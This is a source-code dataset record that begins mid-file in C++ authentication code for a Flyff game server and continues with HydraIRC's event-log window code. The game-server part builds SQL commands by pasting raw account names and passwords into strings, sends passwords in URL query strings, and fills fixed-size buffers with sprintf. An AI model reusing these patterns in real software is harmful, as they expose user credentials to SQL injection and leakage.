이상 이용가 이므로 게임접속을 할수 없습니다. nCode = ERROR_FLYFF_PERMIT; break; case 6: // 14세 미만 가입자 분들은 부모님 동의서를 보내주셔야 게임 접속이 가능합니다. www.flyff.com 으로 접속하셔서 확인해 주세요. nCode = ERROR_FLYFF_NEED_AGREEMENT; break; case 7: // Web탈퇴자 회원 nCode = ERROR_FLYFF_NO_MEMBERSHIP; break; case 9: // 실시간 데이터 작업 유저 nCode = ERROR_FLYFF_DB_JOB_ING; break; case 91: nCode = ERROR_FLYFF_EXPIRED_SESSION_PASSWORD; break; default: nCode = ERROR_FLYFF_ACCOUNT; break; } } } g_dpCertifier.SendError( nCode, pData->dpId ); m_pDbIOData->Free( pData ); } void CDbManager::CloseExistingConnection( CQuery & query, LPDB_OVERLAPPED_PLUS pData ) { query.Clear(); char szQuery[128]; #if __VER >= 14 // __PCBANG DBQryAccount( szQuery, pData ); #else // __PCBANG DBQryAccount( szQuery, pData->AccountInfo.szAccount, pData->AccountInfo.szPassword ); #endif // __PCBANG if( query.Exec( szQuery ) ) { if( query.Fetch() ) { if( 0 == query.GetInt( "fError" ) ) g_dpAccountClient.SendCloseExistingConnection( pData->AccountInfo.szAccount ); } } m_pDbIOData->Free( pData ); } u_int __stdcall DbWorkerThread( LPVOID nIndex ) { CAccountMgr mgr; CQuery query; if( FALSE == query.Connect( 3, "login", "account", g_DbManager.m_szLoginPWD ) ) { AfxMessageBox( "Error : Not Connect Login DB" ); } SetEvent( s_hHandle ); HANDLE hIOCP = g_DbManager.GetIOCPHandle( (int)nIndex ); DWORD dwBytesTransferred = 0; LPDWORD lpCompletionKey = NULL; LPDB_OVERLAPPED_PLUS pData = NULL; while( 1 ) { BOOL fOk = GetQueuedCompletionStatus( hIOCP, &dwBytesTransferred, (LPDWORD)&lpCompletionKey, (LPOVERLAPPED*)&pData, INFINITE ); if( fOk == FALSE ) { ASSERT( 0 ); // fatal error continue; } if( dwBytesTransferred == 0 ) // terminate return( 0 ); switch( pData->nQueryMode ) { case CERTIFY: g_DbManager.Certify( query, pData, mgr ); break; case CLOSE_EXISTING_CONNECTION: g_DbManager.CloseExistingConnection( query, pData ); break; } } return( 0 ); } void CDbManager::GetStrTime( CTime *pTime, char *strbuf ) { char sYear[5] = { 0, }; char sMonth[3] = { 0, }; char sDay[3] = { 0, }; char sHour[3] = { 0, }; char sMin[3] = { 0, }; strncpy( sYear, strbuf, 4 ); strncpy( sMonth, strbuf + 4, 2 ); strncpy( sDay, strbuf + 6, 2 ); strncpy( sHour, strbuf + 8, 2 ); strncpy( sMin, strbuf + 10, 2 ); *pTime = CTime( atoi( sYear ), atoi( sMonth ), atoi( sDay ), atoi( sHour ), atoi( sMin ), 0 ); } BOOL CDbManager::LoadEveSchoolAccount( void ) { CScanner s; if( s.Load( "EveSchoolAccount.txt" ) ) { s.GetToken(); while( s.tok != FINISHED ) { m_eveSchoolAccount.insert( (const char*)s.Token ); s.GetToken(); } return TRUE; } return FALSE; } BOOL CDbManager::IsEveSchoolAccount( const char* pszAccount ) { set<string>::iterator i = m_eveSchoolAccount.find( pszAccount ); return( i != m_eveSchoolAccount.end() ); } void CDbManager::PostQ( LPDB_OVERLAPPED_PLUS pData ) { UINT nKey = ::HashKey( pData->AccountInfo.szAccount ); int nIOCP = nKey % DEFAULT_DB_WORKER_THREAD_NUM; ::PostQueuedCompletionStatus( GetIOCPHandle( nIOCP ), 1, NULL, (LPOVERLAPPED)pData ); } HANDLE CDbManager::GetIOCPHandle( int n ) { return m_hIOCP[n]; } #ifdef __GPAUTH u_int __stdcall GPotatoAuthWorker( LPVOID pParam ) { CAccountMgr mgr; CQuery query; if( FALSE == query.Connect( 3, "login", "account", g_DbManager.m_szLoginPWD ) ) AfxMessageBox( "can't connect to database : login" ); SetEvent( s_hHandle ); HANDLE hIOCP = g_DbManager.GetIOCPHandle( (int)pParam ); DWORD dwBytesTransferred = 0; LPDWORD lpCompletionKey = NULL; LPDB_OVERLAPPED_PLUS pov = NULL; while( 1 ) { BOOL fOk = GetQueuedCompletionStatus( hIOCP, &dwBytesTransferred, (LPDWORD)&lpCompletionKey, (LPOVERLAPPED*)&pov, INFINITE ); if( fOk == FALSE ) { ASSERT( 0 ); // fatal error continue; } if( dwBytesTransferred == 0 ) // terminate return( 0 ); switch( pov->nQueryMode ) { case CERTIFY: g_DbManager.Certify2( query, pov, mgr ); break; case CLOSE_EXISTING_CONNECTION: g_DbManager.CloseExistingConnection2( query, pov ); break; } } return( 0 ); } void CDbManager::Certify2( CQuery & query, LPDB_OVERLAPPED_PLUS pov, CAccountMgr & mgr ) { ACCOUNT_CHECK result = CHECK_OK; if( pov->dwIP ) { result = mgr.Check( pov->dwIP ); switch( result ) { case CHECK_1TIMES_ERROR: g_dpCertifier.SendError( ERROR_15SEC_PREVENT, pov->dpId ); m_pDbIOData->Free( pov ); return; case CHECK_3TIMES_ERROR: g_dpCertifier.SendError( ERROR_15MIN_PREVENT, pov->dpId ); m_pDbIOData->Free( pov ); return; } } char sAddr[16] = { 0,}; g_dpCertifier.GetPlayerAddr( pov->dpId, sAddr ); GPAUTH_RESULT r; // GetGPAuthResult( s_sUrl, 1, ( GetLanguage() == LANG_GER? 1: 2 ), pov->AccountInfo.szAccount, pov->AccountInfo.szPassword, sAddr, r ); GetGPAuthResult( s_sUrl, 1, ( GetLanguage() == LANG_FRE? 1: 2 ), pov->AccountInfo.szAccount, pov->AccountInfo.szPassword, sAddr, r ); char lpOutputString[200] = { 0,}; #ifdef __GPAUTH_02 sprintf( lpOutputString, "%d, %s, %s, %d, %d, %s", r.nResult, r.szResult, r.szGPotatoID, r.nGPotatoNo, r.bGM, r.szCheck ); #else // __GPAUTH_02 sprintf( lpOutputString, "%d, %s, %s, %d, %d", r.nResult, r.szResult, r.szGPotatoID, r.nGPotatoNo, r.bGM ); #endif // __GPAUTH_02 OutputDebugString( lpOutputString ); if( r.nResult== 0 ) { if( pov->dwIP ) mgr.SetError( 0 ); #ifdef __EUROPE_0514 lstrcpy( pov->AccountInfo.szBak, pov->AccountInfo.szAccount ); #endif // __EUROPE_0514 sprintf( pov->AccountInfo.szAccount, "%d", r.nGPotatoNo ); #ifdef __GPAUTH_02 OnCertifyQueryOK( query, pov, r.szCheck ); #else // __GPAUTH_02 OnCertifyQueryOK( query, pov ); #endif // __GPAUTH_02 #ifdef __GPAUTH_03 SQLAddAccount( query, pov->AccountInfo.szAccount, pov->AccountInfo.szPassword, r.bGM ); #else // __GPAUTH_03 SQLAddAccount( query, pov->AccountInfo.szAccount, pov->AccountInfo.szPassword ); #endif // __GPAUTH_03 } else { g_dpCertifier.SendErrorString( r.szResult, pov->dpId ); } m_pDbIOData->Free( pov ); } void CDbManager::CloseExistingConnection2( CQuery & query, LPDB_OVERLAPPED_PLUS pov ) { GPAUTH_RESULT r; char sAddr[16] = { 0,}; g_dpCertifier.GetPlayerAddr( pov->dpId, sAddr ); // GetGPAuthResult( s_sUrl, 1, ( GetLanguage() == LANG_GER? 1: 2 ), pov->AccountInfo.szAccount, pov->AccountInfo.szPassword, sAddr, r ); GetGPAuthResult( s_sUrl, 1, ( GetLanguage() == LANG_FRE? 1: 2 ), pov->AccountInfo.szAccount, pov->AccountInfo.szPassword, sAddr, r ); if( r.nResult == 0 ) { // lstrcpy( pov->AccountInfo.szAccount, r.szGPotatoID ); sprintf( pov->AccountInfo.szAccount, "%d", r.nGPotatoNo ); g_dpAccountClient.SendCloseExistingConnection( pov->AccountInfo.szAccount ); #ifdef __GPAUTH_03 SQLAddAccount( query, pov->AccountInfo.szAccount, pov->AccountInfo.szPassword, r.bGM ); #else // __GPAUTH_03 SQLAddAccount( query, pov->AccountInfo.szAccount, pov->AccountInfo.szPassword ); #endif // __GPAUTH_03 } m_pDbIOData->Free( pov ); } #ifdef __GPAUTH_03 void CDbManager::SQLAddAccount( CQuery & query, char* szAccount, char* szPassword, BOOL bGM ) #else // __GPAUTH_03 void CDbManager::SQLAddAccount( CQuery & query, char* szAccount, char* szPassword ) #endif // __GPAUTH_03 { query.Clear(); char szSQL[100] = { 0,}; #ifdef __GPAUTH_03 char chAuth = ( bGM? 'P': 'F' ); sprintf( szSQL, "uspAddAccount '%s', '%s', '%c'", szAccount, szPassword, chAuth ); #else // __GPAUTH_03 sprintf( szSQL, "uspAddAccount '%s', '%s'", szAccount, szPassword ); #endif // __GPAUTH_03 if( !query.Exec( szSQL ) ) { // error } } #endif // __GPAUTH #ifdef __GPAUTH void GetGPAuthResult( const char* szUrl, int nMode, int nGameMode, const char* sAccount, const char* sPassword, const char* sAddr, GPAUTH_RESULT & result ) { CInternetSession session( _T( "GPAuth" ) ); CHttpConnection* pServer = NULL; CHttpFile* pFile = NULL; char pszSendMsg[255] = { 0,}; char pszHeader[255] = { 0,}; CString strHeaders, strResult; int nReadSize = 0; BOOL b = FALSE; sprintf( pszSendMsg, "MODE=%c&GAMECODE=G00%d&GPOTATOID=%s&PASSWORD=%s&USERIP=%s", ( nMode == 1 ? 'L': 'O' ), nGameMode, sAccount, sPassword, sAddr ); strHeaders = "Content-Type: application/x-www-form-urlencoded"; try { pServer = session.GetHttpConnection( szUrl ); if( !pServer ) { Error( "\"%s\" Connection Failed!", szUrl ); goto DONE; } pFile = pServer->OpenRequest( CHttpConnection::HTTP_VERB_POST, "/Account/Authentication.Aspx" ); if( !pFile ) { Error( "OpenRequest Failed!" ); goto DONE; } if( !( pFile->SendRequest( strHeaders, (LPVOID)pszSendMsg, lstrlen( pszSendMsg ) ) ) ) { Error( "SendRequest Failed! -> Msg : %s", pszSendMsg ); goto DONE; } } catch( CInternetException* e ) { TCHAR szError[255] = { 0,}; e->GetErrorMessage( szError, 255 ); goto DONE; } nReadSize = (int)pFile->Read( strResult.GetBuffer( (int)( pFile->GetLength() ) ), (unsigned int)( pFile->GetLength() ) ); strResult.ReleaseBuffer(); if( nReadSize = strResult.GetLength() ) b = TRUE; DONE: if( pFile ) { pFile->Close(); safe_delete( pFile ); pFile = NULL; } if( pServer ) { pServer->Close(); safe_delete( pServer ); pServer = NULL; } session.Close(); if( b ) { // 1. nFirst > 0 // 2. len <= max // 3. if nResult = 0, szResult = SUCCESS int nFirst = strResult.Find( "\r\n", 0 ); if( nFirst < 0 ) nFirst = strResult.Find( "\n\r", 0 ); VALID_CRLF( nFirst, result, strResult ) result.nResult = atoi( (LPCSTR)strResult.Left( nFirst ) ); nFirst += 2; // \r\n int nLast = strResult.Find( "\r\n", nFirst ); if( nLast < 0 ) nLast = strResult.Find( "\n\r", nFirst ); VALID_CRLF( nLast, result, strResult ) VALID_STR( nLast - nFirst, 255, result, strResult ) lstrcpy( result.szResult, (LPCSTR)strResult.Mid( nFirst, nLast - nFirst ) ); if( result.nResult == 0 && lstrcmp( result.szResult, "SUCCESS" ) ) { result.nResult = -1; *result.szResult = '\0'; OutputDebugString( (LPCTSTR)strResult ); return; } nFirst = nLast + 2; // \r\n nLast = strResult.Find( "\r\n", nFirst ); if( nLast < 0 ) nLast = strResult.Find( "\n\r", nFirst ); VALID_CRLF( nLast, result, strResult ) VALID_STR( nLast - nFirst, 20, result, strResult ) lstrcpy( result.szGPotatoID, (LPCSTR)strResult.Mid( nFirst, nLast - nFirst ) ); nFirst = nLast + 2; // \r\n nLast = strResult.Find( "\r\n", nFirst ); if( nLast < 0 ) nLast = strResult.Find( "\n\r", nFirst ); VALID_CRLF( nLast, result, strResult ) result.nGPotatoNo = atoi( (LPCSTR)strResult.Mid( nFirst, nLast - nFirst ) ); nFirst = nLast + 2; // \r\n nLast = strResult.Find( "\r\n", nFirst ); if( nLast < 0 ) nLast = strResult.Find( "\n\r", nFirst ); VALID_CRLF( nLast, result, strResult ) VALID_STR( nLast - nFirst, 20, result, strResult ) lstrcpy( result.szNickName, (LPCSTR)strResult.Mid( nFirst, nLast - nFirst ) ); #ifdef __GPAUTH_02 nFirst = nLast + 2; // \r\n nLast = strResult.Find( "\r\n", nFirst ); if( nLast < 0 ) nLast = strResult.Find( "\n\r", nFirst ); VALID_CRLF( nLast, result, strResult ) result.bGM = ( strResult.Mid( nFirst, nLast - nFirst ) == "Y" ); nFirst = nLast + 2; // \r\n VALID_STR( strResult.GetLength() - nFirst, 254, result, strResult ) lstrcpy( result.szCheck, (LPCSTR)strResult.Right( strResult.GetLength() - nFirst ) ); #else // __GPAUTH_02 result.bGM = ( strResult.Right( 1 ) == "Y" ); #endif // __GPAUTH_02 } else { result.nResult = -1; lstrcpy( result.szResult, "Could not establish a connection with the server..." ); } switch( result.nResult ) { case 1000: lstrcpy( result.szResult, "Unexpected system error occurred." ); break; case 2000: lstrcpy( result.szResult, "GPotato is running maintenance from 10 am t0 10 pm." ); break; case 3000: lstrcpy( result.szResult, "Your account was blocked by GPOTATO" ); break; } } #endif // __GPAUTH #ifdef __JAPAN_AUTH u_int __stdcall JapanAuthWorker( LPVOID pParam ) { CAccountMgr mgr; CQuery query; if( FALSE == query.Connect( 3, "login", "account", g_DbManager.m_szLoginPWD ) ) AfxMessageBox( "can't connect to database : login" ); SetEvent( s_hHandle ); HANDLE hIOCP = g_DbManager.GetIOCPHandle( (int)pParam ); DWORD dwBytesTransferred = 0; LPDWORD lpCompletionKey = NULL; LPDB_OVERLAPPED_PLUS pov = NULL; while( 1 ) { BOOL fOk = GetQueuedCompletionStatus( hIOCP, &dwBytesTransferred, (LPDWORD)&lpCompletionKey, (LPOVERLAPPED*)&pov, INFINITE ); if( fOk == FALSE ) { ASSERT( 0 ); // fatal error continue; } if( dwBytesTransferred == 0 ) // terminate return( 0 ); switch( pov->nQueryMode ) { case CERTIFY: g_DbManager.Certify_Japan( query, pov, mgr ); break; case CLOSE_EXISTING_CONNECTION: g_DbManager.CloseExistingConnection_Japan( query, pov ); break; } } return( 0 ); } void CDbManager::Certify_Japan( CQuery & query, LPDB_OVERLAPPED_PLUS pov, CAccountMgr & mgr ) { ACCOUNT_CHECK result = CHECK_OK; if( pov->dwIP ) { result = mgr.Check( pov->dwIP ); switch( result ) { case CHECK_1TIMES_ERROR: g_dpCertifier.SendError( ERROR_15SEC_PREVENT, pov->dpId ); m_pDbIOData->Free( pov ); return; case CHECK_3TIMES_ERROR: g_dpCertifier.SendError( ERROR_15MIN_PREVENT, pov->dpId ); m_pDbIOData->Free( pov ); return; } } JAPAN_AUTH_RESULT r = GetJapanAuthResult( pov ); if( r.nResult == JAPAN_AUTH_RESULT_AGREE ) { if( pov->dwIP ) mgr.SetError( 0 ); #ifdef __EUROPE_0514 lstrcpy( pov->AccountInfo.szBak, pov->AccountInfo.szAccount ); #endif // __EUROPE_0514 OnCertifyQueryOK( query, pov ); } else { g_dpCertifier.SendErrorString( r.szResultMsg, pov->dpId ); } m_pDbIOData->Free( pov ); } void CDbManager::CloseExistingConnection_Japan( CQuery & query, LPDB_OVERLAPPED_PLUS pov ) { JAPAN_AUTH_RESULT r = GetJapanAuthResult( pov ); if( r.nResult == JAPAN_AUTH_RESULT_AGREE ) g_dpAccountClient.SendCloseExistingConnection( pov->AccountInfo.szAccount ); m_pDbIOData->Free( pov ); } JAPAN_AUTH_RESULT GetJapanAuthResult( LPDB_OVERLAPPED_PLUS pov ) { JAPAN_AUTH_RESULT result; CInternetSession session( _T( "Japan_Auth" ) ); CHttpConnection* pServer = NULL; CHttpFile* pFile = NULL; char pszSendMsg[255] = { 0,}; char pszHeader[255] = { 0,}; CString strHeaders, strResult; int nReadSize = 0; char szHeader[256] = "X-RESULT"; DWORD dwHeaderSize = 255; char sAddr[16] = { 0,}; g_dpCertifier.GetPlayerAddr( pov->dpId, sAddr ); sprintf( pszSendMsg, "/api/aeonsoft/auth.asp?ID=%s&PW=%s&IP=%s", pov->AccountInfo.szAccount, pov->AccountInfo.szPassword, sAddr ); strHeaders = "Content-Type: application/x-www-form-urlencoded"; try { pServer = session.GetHttpConnection( g_strWebCertURL.c_str() ); if( !pServer ) { Error( "\"%s\" Connection Failed!", g_strWebCertURL.c_str() ); goto DONE; } pFile = pServer->OpenRequest( CHttpConnection::HTTP_VERB_GET, pszSendMsg ); if( !pFile ) { Error( "OpenRequest Failed!" ); goto DONE; } if( !( pFile->SendRequest() ) ) { Error( "SendRequest Failed! -> Msg : %s", pszSendMsg ); goto DONE; } } catch( CInternetException* e ) { TCHAR szError[255] = { 0,}; e->GetErrorMessage( szError, 255 ); goto DONE; } ::HttpQueryInfo( *pFile, HTTP_QUERY_CUSTOM, (LPVOID)szHeader, &dwHeaderSize, NULL ); if( lstrcmp( szHeader, "agree" ) == 0 ) result.nResult = JAPAN_AUTH_RESULT_AGREE; else if( lstrcmp( szHeader, "reject" ) == 0 ) result.nResult = JAPAN_AUTH_RESULT_REJECT; nReadSize = (int)pFile->Read( strResult.GetBuffer( (int)( pFile->GetLength() ) ), (UINT)( pFile->GetLength() ) ); strResult.ReleaseBuffer(); if( nReadSize == strResult.GetLength() ) { lstrcpy( result.szResultMsg, (LPCSTR)strResult ); } DONE: if( pFile ) { pFile->Close(); safe_delete( pFile ); pFile = NULL; } if( pServer ) { pServer->Close(); safe_delete( pServer ); pServer = NULL; } session.Close(); return result; } #endif // __JAPAN_AUTH
[ "[email protected]@e2c90bd7-ee55-cca0-76d2-bbf4e3699278" ]
[ [ [ 1, 902 ] ] ]
380733650e3a6690dc5fbce002dba775329e6ea0
989aa92c9dab9a90373c8f28aa996c7714a758eb
/HydraIRC/EventLogFrm.cpp
af626a0a29b6df000739e96a0ce802c4f7512d6a
[]
no_license
john-peterson/hydrairc
5139ce002e2537d4bd8fbdcebfec6853168f23bc
f04b7f4abf0de0d2536aef93bd32bea5c4764445
refs/heads/master
2021-01-16T20:14:03.793977
2010-04-03T02:10:39
2010-04-03T02:10:39
null
0
0
null
null
null
null
UTF-8
C++
false
false
23,318
cpp
/* HydraIRC Copyright (C) 2002-2006 Dominic Clifton aka Hydra HydraIRC limited-use source license 1) You can: 1.1) Use the source to create improvements and bug-fixes to send to the author to be incorporated in the main program. 1.2) Use it for review/educational purposes. 2) You can NOT: 2.1) Use the source to create derivative works. (That is, you can't release your own version of HydraIRC with your changes in it) 2.2) Compile your own version and sell it. 2.3) Distribute unmodified, modified source or compiled versions of HydraIRC without first obtaining permission from the author. (I want one place for people to come to get HydraIRC from) 2.4) Use any of the code or other part of HydraIRC in anything other than HydraIRC. 3) All code submitted to the project: 3.1) Must not be covered by any license that conflicts with this license (e.g. GPL code) 3.2) Will become the property of the author. */ ///////////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "HydraIRC.h" char *g_EventLogTypeStrings[ELIT_LAST] = { "Unknown", "Server", "DCC", "Channel", "User" }; char *g_EventLogIDStrings[ELID_LAST] = { "Unknown", "Connect", "Disconnect", "LoggedIn", "Kicked", "Notice", "PrivMsg", "CTCP Sound", "CTCP Version", "CTCP Ping", "CTCP Time", "DCC Receive", "DCC Send", "DCC Receive Complete", "DCC Send Complete", "DCC Receive Failed", "DCC Send Failed", "Highlight", "Wallops", "Notification", "Quit", "Part", "Join", }; CEventLogView::CEventLogView(EventLogManager *pEventLogMgr, DWORD dwIcon, CEventManager *pEventManager) :m_dwIcon(dwIcon), m_pEventLogMgr(pEventLogMgr), CListener(pEventManager) { m_FilterList = NULL; // nothing filtered! InitFilterGroups(); //m_EventLogMenuIDs.SetIDRange(ID_EVENTLOGMENU_FIRST,ID_EVENTLOGMENU_LAST); // CHECK: done elsewhere now? } CEventLogView::~CEventLogView( void ) { #ifdef VERBOSE_DEBUG sys_Printf(BIC_FUNCTION,"CEventLogView::~CEventLogView() called\n"); #endif if (m_FilterList) free(m_FilterList); m_IntFilterList.RemoveAll(); while (m_FilterListGroups.GetSize() > 0) { delete m_FilterListGroups[0]; m_FilterListGroups.RemoveAt(0); } } LRESULT CEventLogView::OnCreate(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& bHandled) { HICON hIconSmall = (HICON)::LoadImage(_Module.GetResourceInstance(), MAKEINTRESOURCE(m_dwIcon), IMAGE_ICON, ::GetSystemMetrics(SM_CXSMICON), ::GetSystemMetrics(SM_CYSMICON), LR_DEFAULTCOLOR); SetIcon(hIconSmall, FALSE); RECT r; GetClientRect(&r); SetWindowText("Event Log"); m_EventLogListCtrl.Create(m_hWnd,&r,NULL, WS_CHILD | WS_VISIBLE | LVS_REPORT | LVS_ALIGNLEFT | /* LVS_NOSORTHEADER | */ WS_TABSTOP, WS_EX_CLIENTEDGE, IDC_TEXTQUEUE_LIST); m_EventLogListCtrl.SetExtendedListViewStyle(LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT); m_EventLogListCtrl.AddColumn("Time",0); m_EventLogListCtrl.AddColumn("Event Type",1); m_EventLogListCtrl.AddColumn("Content",2); m_EventLogListCtrl.AddColumn("Source Type",3); m_EventLogListCtrl.AddColumn("Source",4); int count = m_pEventLogMgr->m_EventLog.GetSize(); if (count == 0) // size the colums to the header text if no items.. { m_EventLogListCtrl.SetColumnWidth(0,MAKELPARAM((int)LVSCW_AUTOSIZE_USEHEADER,0)); m_EventLogListCtrl.SetColumnWidth(1,MAKELPARAM((int)LVSCW_AUTOSIZE_USEHEADER,0)); m_EventLogListCtrl.SetColumnWidth(2,MAKELPARAM((int)LVSCW_AUTOSIZE_USEHEADER,0)); m_EventLogListCtrl.SetColumnWidth(3,MAKELPARAM((int)LVSCW_AUTOSIZE_USEHEADER,0)); m_EventLogListCtrl.SetColumnWidth(4,MAKELPARAM((int)LVSCW_AUTOSIZE_USEHEADER,0)); } RefreshItems(); // bHandled = FALSE; // TODO: Check return 0; } void CEventLogView::RefreshItems( void ) { // removes all items and re-adds them, // often used after changing the contents of m_InfFilterList m_EventLogListCtrl.DeleteAllItems(); int count = m_pEventLogMgr->m_EventLog.GetSize(); // add all the items, on the last item, size the columns to the data. for (int i = 0 ; i < count ; i++) { AddItem(m_pEventLogMgr->m_EventLog[i],(i == count-1)); } } LRESULT CEventLogView::OnSize(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& bHandled) { RECT r; GetClientRect(&r); m_EventLogListCtrl.MoveWindow(&r); bHandled = FALSE; return 0; } LRESULT CEventLogView::OnClose(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& bHandled) { bHandled = FALSE; return 0; } void CEventLogView::AutoSizeColumns( void ) { m_EventLogListCtrl.SetColumnWidth(0,MAKELPARAM((int)LVSCW_AUTOSIZE,0)); m_EventLogListCtrl.SetColumnWidth(1,MAKELPARAM((int)LVSCW_AUTOSIZE,0)); m_EventLogListCtrl.SetColumnWidth(2,MAKELPARAM((int)LVSCW_AUTOSIZE,0)); m_EventLogListCtrl.SetColumnWidth(3,MAKELPARAM((int)LVSCW_AUTOSIZE,0)); m_EventLogListCtrl.SetColumnWidth(4,MAKELPARAM((int)LVSCW_AUTOSIZE,0)); } void CEventLogView::AddItem(EventLogItem *pELI, BOOL AutoSize) { if (!::IsWindow(m_EventLogListCtrl)) return; // don't add if we're filtering this type! if (ProcessSimpleFilter(m_FilterList,pELI->m_ID)) return; // not filtered, add it! char numstr[10]; tm *t = localtime(&pELI->m_Time); int itemnum = m_EventLogListCtrl.InsertItem(0,GetTimestamp(t)); if (itemnum != -1) { /* m_EventLogListCtrl.AddColumn("Time",0); m_EventLogListCtrl.AddColumn("ID",4); m_EventLogListCtrl.AddColumn("Message",2); m_EventLogListCtrl.AddColumn("Server",3); m_EventLogListCtrl.AddColumn("Source",1); */ _snprintf(numstr,sizeof(numstr)-1,"%d",pELI->m_ID); m_EventLogListCtrl.AddItem(itemnum,1,pELI->m_ID < ELID_LAST ? g_EventLogIDStrings[pELI->m_ID] : numstr); m_EventLogListCtrl.AddItem(itemnum,2,pELI->m_Message); m_EventLogListCtrl.AddItem(itemnum,3,g_EventLogTypeStrings[pELI->m_Type]); if (stricmp(g_EventLogTypeStrings[pELI->m_Type],"Server") == 0) m_EventLogListCtrl.AddItem(itemnum,4,pELI->m_ServerName); else if (stricmp(g_EventLogTypeStrings[pELI->m_Type],"DCC") == 0) m_EventLogListCtrl.AddItem(itemnum,4,pELI->m_From); else if (stricmp(g_EventLogTypeStrings[pELI->m_Type],"Channel") == 0) m_EventLogListCtrl.AddItem(itemnum,4,pELI->m_ChannelName); else if (stricmp(g_EventLogTypeStrings[pELI->m_Type],"User") == 0) m_EventLogListCtrl.AddItem(itemnum,4,pELI->m_From); else if (stricmp(g_EventLogTypeStrings[pELI->m_Type],"Unknown") == 0) m_EventLogListCtrl.AddItem(itemnum,4,"Unknown"); else m_EventLogListCtrl.AddItem(itemnum,4,"Unknown"); m_EventLogListCtrl.SetItemData(itemnum,(DWORD_PTR)pELI); } if (AutoSize) AutoSizeColumns(); } void CEventLogView::RemoveItem(EventLogItem *pELI) { EventLogItem *pFoundNVI; for (int i = 0 ; i < m_EventLogListCtrl.GetItemCount(); i++) { pFoundNVI = (EventLogItem *) m_EventLogListCtrl.GetItemData(i); if (pFoundNVI == pELI) { m_EventLogListCtrl.DeleteItem(i); return; } } } LRESULT CEventLogView::OnLvnKeyDown(int /*idCtrl*/, LPNMHDR pnmh, BOOL& bHandled) { NMLVKEYDOWN *keyinfo = (NMLVKEYDOWN *) pnmh; bHandled = FALSE; int virtkey = GetKeyState(VK_CONTROL); #ifdef DEBUG //sys_Printf(BIC_GUI,"key down message: '%c' 0x%02x 0x%08x\n",wParam,wParam,virtkey); #endif if (virtkey & 0x10000) // Control Key Pressed ? { bHandled = TRUE; switch(keyinfo->wVKey)//wParam) { case 'A': // select all DoAction(ELMI_SelectAll); break; default: bHandled = FALSE; } } else // control key NOT pressed. { bHandled = TRUE; switch(keyinfo->wVKey)//wParam) { case VK_DELETE: DoAction(ELMI_Delete); break; default: bHandled = FALSE; } } return 0; } LRESULT CEventLogView::OnNmRClick(int /*idCtrl*/, LPNMHDR pnmh, BOOL& bHandled) { EventLogItem *pELI; /* LVHITTESTINFO ht = {0}; DWORD dwpos = GetMessagePos(); ht.pt.x = GET_X_LPARAM(dwpos); ht.pt.y = GET_Y_LPARAM(dwpos); // TODO: check ok on multi-monitor system ::MapWindowPoints(HWND_DESKTOP, pnmh->hwndFrom, &ht.pt, 1); ListView_HitTest(pnmh->hwndFrom, &ht); if(LVHT_ONITEM & ht.flags) { pELI = (EventLogItem *)m_EventLogListCtrl.GetItemData(ht.iItem); if (!pELI) return 0; } */ CMenuHandle Menu; Menu.CreatePopupMenu(); /* MENUINFO MenuInfo; MenuInfo.dwMenuData = (ULONG_PTR) pELI; MenuInfo.fMask = MIM_MENUDATA; Menu.SetMenuInfo(&MenuInfo); */ BOOL First = TRUE; int Type = ELIT_UNKNOWN; int SelectedCount = 0; for (int i = 0 ; i < m_EventLogListCtrl.GetItemCount(); i ++) { if (LVIS_SELECTED & m_EventLogListCtrl.GetItemState(i,LVIS_SELECTED)) { SelectedCount++; pELI = (EventLogItem *)m_EventLogListCtrl.GetItemData(i); if (!pELI) continue; if (First) { // make a note of the first selected type Type = pELI->m_Type; First = FALSE; } else { // more than one type selected? if (pELI->m_Type != Type) Type = ELIT_UNKNOWN; } } } if (SelectedCount > 0) { BOOL Added = TRUE; if (Type == ELIT_UNKNOWN) { Menu.AppendMenu(MF_STRING,ELMI_Action,_T("Do Default Action")); } else { switch(pELI->m_Type) { case ELIT_SERVER: Menu.AppendMenu(MF_STRING,ELMI_Action,_T("Show Server Window")); break; case ELIT_DCC: Menu.AppendMenu(MF_STRING,ELMI_Action,_T("Show DCC Window")); break; case ELIT_CHANNEL: Menu.AppendMenu(MF_STRING,ELMI_Action,_T("Show Channel Window")); break; case ELIT_USER: Menu.AppendMenu(MF_STRING,ELMI_Action,_T("Show Query Window")); break; default: Added = FALSE; } } if (Added) { Menu.SetMenuDefaultItem(0,TRUE); Menu.AppendMenu(MF_SEPARATOR); } Menu.AppendMenu(MF_STRING,ELMI_CopyTime,_T("Copy Time")); Menu.AppendMenu(MF_STRING,ELMI_CopyContent,_T("Copy Content")); Menu.AppendMenu(MF_SEPARATOR); Menu.AppendMenu(MF_STRING,ELMI_Delete,_T("Delete\tDel")); } Menu.AppendMenu(MF_STRING,ELMI_DeleteAll,_T("Delete All")); Menu.AppendMenu(MF_STRING,ELMI_SelectAll,_T("Select All\tCtrl+A")); Menu.AppendMenu(MF_SEPARATOR); Menu.AppendMenu(MF_STRING,ELMI_ShowAll ,_T("Show All")); Menu.AppendMenu(MF_STRING,ELMI_ShowNone ,_T("Show None")); Menu.AppendMenu(MF_SEPARATOR); UINT Flags; Flags = (m_ActiveFilterGroupIDs.Find(ELFI_Notices) >= 0 ? MF_UNCHECKED : MF_CHECKED); Menu.AppendMenu(MF_STRING | Flags,ELMI_ShowNotices ,_T("Show Notices")); Flags = (m_ActiveFilterGroupIDs.Find(ELFI_Messages) >= 0 ? MF_UNCHECKED : MF_CHECKED); Menu.AppendMenu(MF_STRING | Flags,ELMI_ShowMessages ,_T("Show Messages")); Flags = (m_ActiveFilterGroupIDs.Find(ELFI_Highlights) >= 0 ? MF_UNCHECKED : MF_CHECKED); Menu.AppendMenu(MF_STRING | Flags,ELMI_ShowHighlights ,_T("Show Highlights")); Flags = (m_ActiveFilterGroupIDs.Find(ELFI_Connects) >= 0 ? MF_UNCHECKED : MF_CHECKED); Menu.AppendMenu(MF_STRING | Flags,ELMI_ShowConnects ,_T("Show Connects")); Flags = (m_ActiveFilterGroupIDs.Find(ELFI_Disconnects) >= 0 ? MF_UNCHECKED : MF_CHECKED); Menu.AppendMenu(MF_STRING | Flags,ELMI_ShowDisconnects,_T("Show Disconnects")); Flags = (m_ActiveFilterGroupIDs.Find(ELFI_Transfers) >= 0 ? MF_UNCHECKED : MF_CHECKED); 